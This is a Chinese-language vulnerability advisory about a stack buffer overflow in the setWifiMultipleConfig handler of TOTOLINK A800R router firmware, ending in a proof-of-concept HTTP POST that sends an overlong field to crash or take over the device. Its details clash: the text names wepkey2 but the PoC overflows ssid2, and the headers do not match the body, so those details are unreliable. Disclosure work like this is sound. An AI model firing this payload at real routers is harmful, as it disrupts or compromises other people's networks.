# TOTOLINK A800R 缓冲区溢出漏洞总结 ## 漏洞概述 TOTOLINK A800R 路由器固件在 `setWifiMultipleConfig` 函数中存在缓冲区溢出漏洞。该函数通过 `websGetVar` 读取用户提供的 `wepkey2` 参数,并将其复制到栈上的 `dest` 缓冲区(仅 68 字节长)。由于代码直接执行 `strcpy(dest, src)` 且未进行长度验证,攻击者可构造超长 `wepkey2` 值覆盖栈内存,导致程序崩溃或远程代码执行。 ## 影响范围 * **厂商**: TOTOLINK * **受影响产品**: A800R * **受影响固件版本**: V4.1.2cu.5137_B20200730 * **固件下载地址**: https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/166/ids/36.html ## 修复方案 * **状态**: 页面未提供具体的修复补丁或升级版本信息。 * **建议**: 厂商应检查 `setWifiMultipleConfig` 函数中的字符串拷贝操作,使用 `strncpy` 等安全函数并限制拷贝长度,或在使用前对输入参数进行严格的长度校验。 ## POC 代码 ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 Origin: http://192.168.0.1 Referer: http://192.168.0.1/login.asp X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Accept: */* Content-Length: 280 { "topicUrl": "setting/setWifiMultipleConfig", "actionId": "1", "ssid2": "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111